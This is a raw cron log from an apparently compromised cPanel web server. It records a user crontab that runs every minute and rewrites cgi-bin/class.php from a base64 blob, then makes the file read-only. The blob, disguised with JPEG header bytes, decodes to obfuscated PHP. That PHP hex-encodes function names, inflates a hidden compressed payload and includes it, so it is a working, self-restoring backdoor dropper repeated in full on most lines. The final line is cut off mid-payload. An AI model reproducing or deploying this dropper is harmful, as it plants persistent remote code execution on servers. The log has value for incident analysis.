Apr 11 07:13:01 server CROND[1323]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 07:14:01 server CROND[1395]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 07:15:01 server CROND[1545]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 07:15:01 server CROND[1546]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 07:15:01 server CROND[1547]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 07:16:01 server CROND[1645]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 07:17:01 server CROND[1698]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 07:18:01 server CROND[1770]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 07:19:01 server CROND[1821]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 07:20:01 server CROND[1872]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 07:20:01 server CROND[1873]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 07:20:01 server CROND[1874]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 07:20:01 server CROND[1881]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 07:20:01 server CROND[1885]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 07:21:01 server CROND[2106]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 07:22:01 server CROND[2161]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 07:23:01 server CROND[2228]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 07:24:01 server CROND[2276]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 07:25:01 server CROND[2332]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 07:25:01 server CROND[2333]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 07:25:01 server CROND[2334]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 07:26:01 server CROND[2533]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQK